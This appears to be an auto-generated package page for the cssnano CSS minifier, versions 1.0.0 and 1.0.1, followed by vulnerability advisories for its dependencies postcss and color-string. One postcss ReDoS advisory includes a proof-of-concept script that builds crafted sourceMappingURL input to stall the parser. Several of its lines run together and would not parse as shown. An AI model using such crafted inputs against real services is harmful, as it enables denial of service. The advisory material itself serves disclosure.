Cssnano, a modular minifier built upon the PostCSS ecosystem, saw a minor version update from 1.0.0 to 1.0.1 on April 14, 2015. Both versions share identical core functionality, dependencies, and development dependencies, targeting developers seeking efficient CSS minification. The dependency list remains consistent, including crucial plugins like postcss-calc, postcss-colormin, postcss-zindex, and others essential for comprehensive CSS optimization. This means developers experienced with version 1.0.0 can seamlessly transition to version 1.0.1.
The key difference lies in the release date, with version 1.0.1 released several hours after 1.0.0. Although the provided data doesn't specify the exact changes, this typically indicates bug fixes, minor enhancements, or adjustments to build processes. For developers, especially those encountering edge cases or stability concerns with 1.0.0, upgrading to 1.0.1 is recommended. Both versions benefit from the modular PostCSS architecture, offering flexibility in customizing the minification process through plugin selection. Cssnano continues to be a valuable asset for front-end developers aiming to reduce CSS file sizes, improve website loading times, and optimize user experience. The MIT license ensures open-source accessibility and ease of integration into any project.
All the vulnerabilities related to the version 1.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.